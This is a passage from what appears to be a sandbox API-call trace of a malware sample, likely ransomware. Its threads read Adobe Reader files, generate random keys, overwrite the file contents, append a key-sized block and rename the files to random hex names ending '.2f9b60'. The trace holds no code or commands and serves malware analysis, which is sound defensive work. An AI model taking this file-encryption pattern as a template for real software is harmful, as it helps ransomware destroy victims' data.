_Format="%c%c" | out: _Dest="71") returned 2 [0201.414] RtlInitAnsiString (in: DestinationString=0x334ffb68, SourceString="b269103b58d82c0bc5e3fbc022c1034ebc28f4c61771" | out: DestinationString="b269103b58d82c0bc5e3fbc022c1034ebc28f4c61771") [0201.414] RtlAnsiStringToUnicodeString (in: DestinationString=0x334ffb38, SourceString="b269103b58d82c0bc5e3fbc022c1034ebc28f4c61771", AllocateDestinationString=1 | out: DestinationString="b269103b58d82c0bc5e3fbc022c1034ebc28f4c61771") returned 0x0 [0201.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x430a1470 [0201.415] wcscat (in: _Dest=0x4318a5c0, _Source="b269103b58d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\b269103b58d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\b269103b58d" [0201.415] wcscat (in: _Dest=0x4318a5c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\b269103b58d.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\b269103b58d.2f9b60" [0201.415] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\b269103b58d.2f9b60", NtPathName=0x334ffb10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\b269103b58d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x4314b6e0 Thread: id = 2596 os_tid = 0x20fc [0156.281] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.hun")) returned 0x20 [0156.288] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.HUN", dwFileAttributes=0x20) returned 1 [0156.289] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.hun"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x820 [0156.290] GetFileSizeEx (in: hFile=0x820, lpFileSize=0x3384fa80 | out: lpFileSize=0x3384fa80*=7680) returned 1 [0156.290] SetFilePointerEx (in: hFile=0x820, liDistanceToMove=0x1dfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.290] ReadFile (in: hFile=0x820, lpBuffer=0x3384fa00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3384fa48, lpOverlapped=0x0 | out: lpBuffer=0x3384fa00*, lpNumberOfBytesRead=0x3384fa48*=0x4, lpOverlapped=0x0) returned 1 [0157.210] SetFilePointerEx (in: hFile=0x820, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.210] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500d70 [0157.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0fe0 [0157.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1070 [0157.212] NtQuerySystemTime (in: CurrentTime=0x3384f940 | out: CurrentTime=0x3384f940*=132462177623410000) returned 0x0 [0157.212] RtlRandomEx (in: Seed=0x3384f930 | out: Seed=0x3384f930) returned 0x69d40ffa [0157.212] RtlRandomEx (in: Seed=0x3384f930 | out: Seed=0x3384f930) returned 0x46289ed [0157.212] RtlRandomEx (in: Seed=0x3384f930 | out: Seed=0x3384f930) returned 0x392bf2bc [0157.212] RtlRandomEx (in: Seed=0x3384f930 | out: Seed=0x3384f930) returned 0x7dab3bfc [0157.212] RtlRandomEx (in: Seed=0x3384f930 | out: Seed=0x3384f930) returned 0x191f381d [0157.212] RtlRandomEx (in: Seed=0x3384f930 | out: Seed=0x3384f930) returned 0x45e56658 [0157.212] RtlRandomEx (in: Seed=0x3384f930 | out: Seed=0x3384f930) returned 0xd6c426d [0157.212] RtlRandomEx (in: Seed=0x3384f930 | out: Seed=0x3384f930) returned 0x18cbf944 [0157.212] RtlRandomEx (in: Seed=0x3384f930 | out: Seed=0x3384f930) returned 0x53c1461a [0157.212] RtlRandomEx (in: Seed=0x3384f930 | out: Seed=0x3384f930) returned 0x3da47431 [0157.212] RtlRandomEx (in: Seed=0x3384f930 | out: Seed=0x3384f930) returned 0x3ffb557f [0157.212] RtlRandomEx (in: Seed=0x3384f930 | out: Seed=0x3384f930) returned 0x3588b0cb [0157.213] RtlRandomEx (in: Seed=0x3384f930 | out: Seed=0x3384f930) returned 0x19797dc3 [0157.213] RtlRandomEx (in: Seed=0x3384f930 | out: Seed=0x3384f930) returned 0x464e73a6 [0157.213] RtlRandomEx (in: Seed=0x3384f930 | out: Seed=0x3384f930) returned 0x1410a9f7 [0157.213] RtlRandomEx (in: Seed=0x3384f930 | out: Seed=0x3384f930) returned 0x645fb181 [0157.213] RtlRandomEx (in: Seed=0x3384f930 | out: Seed=0x3384f930) returned 0x3545c9b0 [0157.213] RtlRandomEx (in: Seed=0x3384f930 | out: Seed=0x3384f930) returned 0x6e0a7a57 [0157.213] RtlRandomEx (in: Seed=0x3384f930 | out: Seed=0x3384f930) returned 0x5e70c93f [0157.213] RtlRandomEx (in: Seed=0x3384f930 | out: Seed=0x3384f930) returned 0x206a6896 [0157.213] RtlRandomEx (in: Seed=0x3384f930 | out: Seed=0x3384f930) returned 0xc531197 [0157.213] RtlRandomEx (in: Seed=0x3384f930 | out: Seed=0x3384f930) returned 0x2ad81923 [0157.213] RtlRandomEx (in: Seed=0x3384f930 | out: Seed=0x3384f930) returned 0x5dc35fb9 [0157.213] RtlRandomEx (in: Seed=0x3384f930 | out: Seed=0x3384f930) returned 0x785593ec [0157.213] RtlRandomEx (in: Seed=0x3384f930 | out: Seed=0x3384f930) returned 0x91cac3e [0157.213] RtlRandomEx (in: Seed=0x3384f930 | out: Seed=0x3384f930) returned 0x503bbfb0 [0157.213] RtlRandomEx (in: Seed=0x3384f930 | out: Seed=0x3384f930) returned 0x2a6fd449 [0157.214] RtlRandomEx (in: Seed=0x3384f930 | out: Seed=0x3384f930) returned 0x6e041dec [0157.214] RtlRandomEx (in: Seed=0x3384f930 | out: Seed=0x3384f930) returned 0x3785c270 [0157.214] RtlRandomEx (in: Seed=0x3384f930 | out: Seed=0x3384f930) returned 0x3321319c [0157.214] RtlRandomEx (in: Seed=0x3384f930 | out: Seed=0x3384f930) returned 0x67aa82c4 [0157.214] RtlRandomEx (in: Seed=0x3384f930 | out: Seed=0x3384f930) returned 0x79588b92 [0157.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac10a0 [0157.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6820 [0157.227] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac10d0 [0157.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6820) returned 1 [0157.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1070) returned 1 [0157.228] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500d70) returned 1 [0157.228] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce19400 [0157.228] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6820 [0157.228] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500d70 [0157.228] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500d70) returned 1 [0157.228] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42afced0 [0157.229] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b00ae0 [0157.229] ReadFile (in: hFile=0x820, lpBuffer=0x42afced0, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x3384f930, lpOverlapped=0x0 | out: lpBuffer=0x42afced0*, lpNumberOfBytesRead=0x3384f930*=0x1e00, lpOverlapped=0x0) returned 1 [0160.745] SetFilePointerEx (in: hFile=0x820, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.745] WriteFile (hFile=0x820, lpBuffer=0x42b00ae0, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x3384f934, lpOverlapped=0x0) [0192.619] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1e240 [0192.619] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c188d0 [0192.620] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c188d0) returned 1 [0192.620] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b00ae0) returned 1 [0192.620] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42afced0) returned 1 [0192.620] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6820) returned 1 [0192.621] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce19400) returned 1 [0192.621] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42c188d0 [0192.621] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce19400 [0192.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6820 [0192.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18db0 [0192.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18db0) returned 1 [0192.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42c18db0 [0192.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18f60 [0192.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19020 [0192.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19020) returned 1 [0192.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6820) returned 1 [0192.625] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce19400) returned 1 [0192.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x431a90b0 [0192.625] SetFilePointerEx (in: hFile=0x820, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0192.625] WriteFile (in: hFile=0x820, lpBuffer=0x431a90b0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3384fa50, lpOverlapped=0x0 | out: lpBuffer=0x431a90b0*, lpNumberOfBytesWritten=0x3384fa50*=0x108, lpOverlapped=0x0) returned 1 [0201.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0201.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d490 [0201.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbc00 [0201.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbc00) returned 1 [0201.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x431f8740 [0201.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbc00 [0201.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbbd0 [0201.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbbd0) returned 1 [0201.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d490) returned 1 [0201.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0201.407] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1ce5d530 [0201.407] sprintf (in: _Dest=0x1ce5d530, _Format="%c%c" | out: _Dest="88") returned 2 [0201.407] sprintf (in: _Dest=0x1ce5d532, _Format="%c%c" | out: _Dest="89") returned 2 [0201.407] sprintf (in: _Dest=0x1ce5d534, _Format="%c%c" | out: _Dest="ba") returned 2 [0201.407] sprintf (in: _Dest=0x1ce5d536, _Format="%c%c" | out: _Dest="f7") returned 2 [0201.407] sprintf (in: _Dest=0x1ce5d538, _Format="%c%c" | out: _Dest="c4") returned 2 [0201.407] sprintf (in: _Dest=0x1ce5d53a, _Format="%c%c" | out: _Dest="28") returned 2 [0201.407] sprintf (in: _Dest=0x1ce5d53c, _Format="%c%c" | out: _Dest="1f") returned 2 [0201.407] sprintf (in: _Dest=0x1ce5d53e, _Format="%c%c" | out: _Dest="63") returned 2 [0201.407] sprintf (in: _Dest=0x1ce5d540, _Format="%c%c" | out: _Dest="b2") returned 2 [0201.407] sprintf (in: _Dest=0x1ce5d542, _Format="%c%c" | out: _Dest="19") returned 2 [0201.407] sprintf (in: _Dest=0x1ce5d544, _Format="%c%c" | out: _Dest="59") returned 2 [0201.407] sprintf (in: _Dest=0x1ce5d546, _Format="%c%c" | out: _Dest="60") returned 2 [0201.407] sprintf (in: _Dest=0x1ce5d548, _Format="%c%c" | out: _Dest="76") returned 2 [0201.407] sprintf (in: _Dest=0x1ce5d54a, _Format="%c%c" | out: _Dest="35") returned 2 [0201.407] sprintf (in: _Dest=0x1ce5d54c, _Format="%c%c" | out: _Dest="42") returned 2 [0201.407] sprintf (in: _Dest=0x1ce5d54e, _Format="%c%c" | out: _Dest="28") returned 2 [0201.407] sprintf (in: _Dest=0x1ce5d550, _Format="%c%c" | out: _Dest="94") returned 2 [0201.407] sprintf (in: _Dest=0x1ce5d552, _Format="%c%c" | out: _Dest="3b") returned 2 [0201.407] sprintf (in: _Dest=0x1ce5d554, _Format="%c%c" | out: _Dest="46") returned 2 [0201.407] sprintf (in: _Dest=0x1ce5d556, _Format="%c%c" | out: _Dest="35") returned 2 [0201.407] sprintf (in: _Dest=0x1ce5d558, _Format="%c%c" | out: _Dest="ce") returned 2 [0201.407] sprintf (in: _Dest=0x1ce5d55a, _Format="%c%c" | out: _Dest="48") returned 2 [0201.407] RtlInitAnsiString (in: DestinationString=0x3384fac8, SourceString="8889baf7c4281f63b219596076354228943b4635ce48" | out: DestinationString="8889baf7c4281f63b219596076354228943b4635ce48") [0201.407] RtlAnsiStringToUnicodeString (in: DestinationString=0x3384fa98, SourceString="8889baf7c4281f63b219596076354228943b4635ce48", AllocateDestinationString=1 | out: DestinationString="8889baf7c4281f63b219596076354228943b4635ce48") returned 0x0 [0201.407] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x430a1400 [0201.408] wcscat (in: _Dest=0x4318a520, _Source="8889baf7c42" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\8889baf7c42") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\8889baf7c42" [0201.408] wcscat (in: _Dest=0x4318a520, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\8889baf7c42.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\8889baf7c42.2f9b60" [0201.408] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\8889baf7c42.2f9b60", NtPathName=0x3384fa70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\8889baf7c42.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.408] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x4314b620 Thread: id = 2597 os_tid = 0x2100 [0156.341] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.ita")) returned 0x20 [0156.341] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.ITA", dwFileAttributes=0x20) returned 1 [0156.342] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.ita"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15d8 [0156.343] GetFileSizeEx (in: hFile=0x15d8, lpFileSize=0x1d65fc80 | out: lpFileSize=0x1d65fc80*=7680) returned 1 [0156.343] SetFilePointerEx (in: hFile=0x15d8, liDistanceToMove=0x1dfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.343] ReadFile (in: hFile=0x15d8, lpBuffer=0x1d65fc00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d65fc48, lpOverlapped=0x0 | out: lpBuffer=0x1d65fc00*, lpNumberOfBytesRead=0x1d65fc48*=0x4, lpOverlapped=0x0) returned 1 [0156.345] SetFilePointerEx (in: hFile=0x15d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc200 [0156.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc2c0 [0156.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc350 [0156.347] NtQuerySystemTime (in: CurrentTime=0x1d65fb40 | out: CurrentTime=0x1d65fb40*=132462177614830000) returned 0x0 [0156.347] RtlRandomEx (in: Seed=0x1d65fb30 | out: Seed=0x1d65fb30) returned 0x66bcbea7 [0156.347] RtlRandomEx (in: Seed=0x1d65fb30 | out: Seed=0x1d65fb30) returned 0x2b451584 [0156.347] RtlRandomEx (in: Seed=0x1d65fb30 | out: Seed=0x1d65fb30) returned 0x6dbb3f2b [0156.347] RtlRandomEx (in: Seed=0x1d65fb30 | out: Seed=0x1d65fb30) returned 0x3a78c8b8 [0156.347] RtlRandomEx (in: Seed=0x1d65fb30 | out: Seed=0x1d65fb30) returned 0x6e87830e [0156.347] RtlRandomEx (in: Seed=0x1d65fb30 | out: Seed=0x1d65fb30) returned 0x20dc1e40 [0156.347] RtlRandomEx (in: Seed=0x1d65fb30 | out: Seed=0x1d65fb30) returned 0x1a6a4b74 [0156.347] RtlRandomEx (in: Seed=0x1d65fb30 | out: Seed=0x1d65fb30) returned 0x4225b7f6 [0156.347] RtlRandomEx (in: Seed=0x1d65fb30 | out: Seed=0x1d65fb30) returned 0x1dbd5db5 [0156.347] RtlRandomEx (in: Seed=0x1d65fb30 | out: Seed=0x1d65fb30) returned 0x1a23ef6f [0156.347] RtlRandomEx (in: Seed=0x1d65fb30 | out: Seed=0x1d65fb30) returned 0x495becdc [0156.347] RtlRandomEx (in: Seed=0x1d65fb30 | out: Seed=0x1d65fb30) returned 0x3d62c894 [0156.347] RtlRandomEx (in: Seed=0x1d65fb30 | out: Seed=0x1d65fb30) returned 0x2b6320dd [0156.347] RtlRandomEx (in: Seed=0x1d65fb30 | out: Seed=0x1d65fb30) returned 0x17cfddbf [0156.347] RtlRandomEx (in: Seed=0x1d65fb30 | out: Seed=0x1d65fb30) returned 0x3f4dae89 [0156.347] RtlRandomEx (in: Seed=0x1d65fb30 | out: Seed=0x1d65fb30) returned 0x953cf46 [0156.347] RtlRandomEx (in: Seed=0x1d65fb30 | out: Seed=0x1d65fb30) returned 0x5b203f5f [0156.347] RtlRandomEx (in: Seed=0x1d65fb30 | out: Seed=0x1d65fb30) returned 0x5e682c48 [0156.347] RtlRandomEx (in: Seed=0x1d65fb30 | out: Seed=0x1d65fb30) returned 0x72bd77e8 [0156.347] RtlRandomEx (in: Seed=0x1d65fb30 | out: Seed=0x1d65fb30) returned 0x4883bc81 [0156.347] RtlRandomEx (in: Seed=0x1d65fb30 | out: Seed=0x1d65fb30) returned 0x59773a3 [0156.347] RtlRandomEx (in: Seed=0x1d65fb30 | out: Seed=0x1d65fb30) returned 0x6ef59be [0156.347] RtlRandomEx (in: Seed=0x1d65fb30 | out: Seed=0x1d65fb30) returned 0x4fc6d5bb [0156.347] RtlRandomEx (in: Seed=0x1d65fb30 | out: Seed=0x1d65fb30) returned 0x1de78d01 [0156.347] RtlRandomEx (in: Seed=0x1d65fb30 | out: Seed=0x1d65fb30) returned 0x7d591aac [0156.347] RtlRandomEx (in: Seed=0x1d65fb30 | out: Seed=0x1d65fb30) returned 0x6ff1f14d [0156.347] RtlRandomEx (in: Seed=0x1d65fb30 | out: Seed=0x1d65fb30) returned 0xb015e35 [0156.347] RtlRandomEx (in: Seed=0x1d65fb30 | out: Seed=0x1d65fb30) returned 0x5decd6f8 [0156.347] RtlRandomEx (in: Seed=0x1d65fb30 | out: Seed=0x1d65fb30) returned 0x54d0391e [0156.347] RtlRandomEx (in: Seed=0x1d65fb30 | out: Seed=0x1d65fb30) returned 0x222367ed [0156.347] RtlRandomEx (in: Seed=0x1d65fb30 | out: Seed=0x1d65fb30) returned 0x1b026646 [0156.348] RtlRandomEx (in: Seed=0x1d65fb30 | out: Seed=0x1d65fb30) returned 0x2ff893f9 [0156.354] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc380 [0156.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce249a0 [0156.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc3b0 [0156.355] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce249a0) returned 1 [0156.355] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc350) returned 1 [0156.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc200) returned 1 [0156.356] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18b40 [0156.356] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce249a0 [0156.356] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc200 [0156.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc200) returned 1 [0156.356] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a1ae50 [0156.357] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a1ea60 [0156.357] ReadFile (in: hFile=0x15d8, lpBuffer=0x42a1ae50, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x1d65fb30, lpOverlapped=0x0 | out: lpBuffer=0x42a1ae50*, lpNumberOfBytesRead=0x1d65fb30*=0x1e00, lpOverlapped=0x0) returned 1 [0156.358] SetFilePointerEx (in: hFile=0x15d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.359] WriteFile (hFile=0x15d8, lpBuffer=0x42a1ea60, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x1d65fb34, lpOverlapped=0x0) [0186.700] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca820 [0186.700] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca850 [0186.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceca850) returned 1 [0186.703] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a1ea60) returned 1 [0186.703] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a1ae50) returned 1 [0186.704] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce249a0) returned 1 [0186.704] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18b40) returned 1 [0186.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1ceca850 [0186.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18b40 [0186.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce249a0 [0186.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca880 [0186.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceca880) returned 1 [0186.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1ceca880 [0186.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca8b0 [0186.707] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca8e0 [0186.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceca8e0) returned 1 [0186.714] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce249a0) returned 1 [0186.714] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18b40) returned 1 [0186.714] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x431032d0 [0186.714] SetFilePointerEx (in: hFile=0x15d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.714] WriteFile (in: hFile=0x15d8, lpBuffer=0x431032d0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x1d65fc50, lpOverlapped=0x0 | out: lpBuffer=0x431032d0*, lpNumberOfBytesWritten=0x1d65fc50*=0x108, lpOverlapped=0x0) returned 1 [0200.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5be80 [0200.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d990 [0200.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc6b0 [0200.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc6b0) returned 1 [0200.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d2a0 [0200.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc6b0 [0200.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc680 [0200.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc680) returned 1 [0201.000] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d990) returned 1 [0201.000] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5be80) returned 1 [0201.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1ce5d130 [0201.001] sprintf (in: _Dest=0x1ce5d130, _Format="%c%c" | out: _Dest="62") returned 2 [0201.001] sprintf (in: _Dest=0x1ce5d132, _Format="%c%c" | out: _Dest="7d") returned 2 [0201.001] sprintf (in: _Dest=0x1ce5d134, _Format="%c%c" | out: _Dest="6e") returned 2 [0201.001] sprintf (in: _Dest=0x1ce5d136, _Format="%c%c" | out: _Dest="df") returned 2 [0201.001] sprintf (in: _Dest=0x1ce5d138, _Format="%c%c" | out: _Dest="86") returned 2 [0201.001] sprintf (in: _Dest=0x1ce5d13a, _Format="%c%c" | out: _Dest="ba") returned 2 [0201.001] sprintf (in: _Dest=0x1ce5d13c, _Format="%c%c" | out: _Dest="a9") returned 2 [0201.001] sprintf (in: _Dest=0x1ce5d13e, _Format="%c%c" | out: _Dest="cf") returned 2 [0201.001] sprintf (in: _Dest=0x1ce5d140, _Format="%c%c" | out: _Dest="cb") returned 2 [0201.001] sprintf (in: 